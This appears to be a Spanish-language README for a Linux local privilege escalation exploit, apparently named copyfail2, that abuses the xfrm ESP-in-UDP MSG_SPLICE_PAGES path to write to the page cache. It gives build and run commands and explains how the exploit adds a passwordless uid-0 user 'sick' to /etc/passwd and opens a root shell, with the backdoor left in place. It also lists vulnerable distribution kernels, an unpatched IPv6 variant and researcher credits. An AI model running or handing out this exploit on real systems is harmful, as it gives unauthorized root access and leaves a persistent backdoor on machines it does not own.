
Exploit de escalada de privilegios locales en Linux sin privilegios que abusa de la ruta rápida no-COW de xfrm ESP-in-UDP MSG_SPLICE_PAGES para sobrescribir /etc/passwd y obtener root.
LPE de Linux sin privilegios mediante la ruta rápida no-COW de xfrm ESP-in-UDP MSG_SPLICE_PAGES. Escritura en la caché de páginas de cualquier archivo legible. Sobrescribe una línea nologin en /etc/passwd con sick::0:0:...:/:/bin/bash y hace su hacia ella. Misma clase que Copy Fail (CVE-2026-31431), subsistema diferente.
sudo apt install -y libssl-dev gcc
gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
gcc -O2 -Wall aa-rootns.c -o aa-rootns
./run.sh # instala + entra en shell root
./run.sh --clean # revierte /etc/passwd mediante la misma primitiva
Añade el usuario uid-0 sin contraseña sick a /etc/passwd, luego exec su - sick.
PAM nullok acepta la contraseña vacía silenciosamente — no se necesita entrada. La
línea sick permanece en /etc/passwd — volver a ejecutar entra directamente como root.
El estado para --clean se guarda en /var/tmp/.cf2.state.
Sin sudo. esp4 / xfrm_user / xfrm_algo se autocargan mediante la ruta netlink del userns.
| distro | kernel | resultado |
|---|---|---|
| Ubuntu 22.04 LTS | 5.15.0-176-generic | no vulnerable* |
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
El mismo bug existe en esp6_input y no está cubierto por el fix de v4
f4c50a4034. PoC en ipv6/: ipv6/run.sh y ipv6/copyfail2v6.c.
Usa el loopback ::1 y ip -6 xfrm. El paquete ESP se rellena a >= 40 bytes
para superar la comprobación de tamaño en xfrm6_input.c:124.
Hyunwoo Kim (imv4bel) y Kuan-Ting Chen reportaron, probaron, y escribieron el fix upstream.
Steffen Klassert: mantenedor de IPsec, publicó el fix en netdev/net.git.
Brad Spengler (@spendergrsec / grsecurity): lo llamó de clase copyfail antes que nadie leyera el commit.
Theori / Xint: Copy Fail original (CVE-2026-31431).